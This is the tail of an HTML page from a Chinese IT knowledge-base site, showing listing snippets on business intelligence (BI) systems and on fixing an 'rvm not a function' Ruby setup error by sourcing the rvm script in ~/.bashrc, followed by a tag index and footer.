                                    <span class="text-muted">张老师的菜</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/BI/1.htm">BI</a><a class="tag" taget="_blank" href="/search/%E5%95%86%E4%B8%9A%E6%99%BA%E8%83%BD/1.htm">商业智能</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8C%96/1.htm">信息化</a>
                                    <div>&nbsp; &nbsp; &nbsp; &nbsp;BI是商业智能的缩写,是可以帮助企业做出明智的业务经营决策的工具,其数据来源于各个业务系统,如ERP、CRM、SCM、进销存、HER、OA等。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BI系统不同于传统的管理信息系统,他号称是一个整体应用的解决方案,是融入管理思想的强大系统:有着系统整体的设计思想,支持对所有</div>
                                </li>
                                <li><a href="/article/3755.htm"
                                       title="安装rvm后出现rvm not a function 或者ruby -v后提示没安装ruby的问题" target="_blank">安装rvm后出现rvm not a function 或者ruby -v后提示没安装ruby的问题</a>
                                    <span class="text-muted">wudixiaotie</span>
<a class="tag" taget="_blank" href="/search/function/1.htm">function</a>
                                    <div>1.在~/.bashrc最后加入 
[[ -s &quot;$HOME/.rvm/scripts/rvm&quot; ]] &amp;&amp; source &quot;$HOME/.rvm/scripts/rvm&quot; 
&nbsp;2.重新启动terminal输入: 
&nbsp; 
rvm use ruby-2.2.1 --default 
&nbsp;把当前安装的ruby版本设为默</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>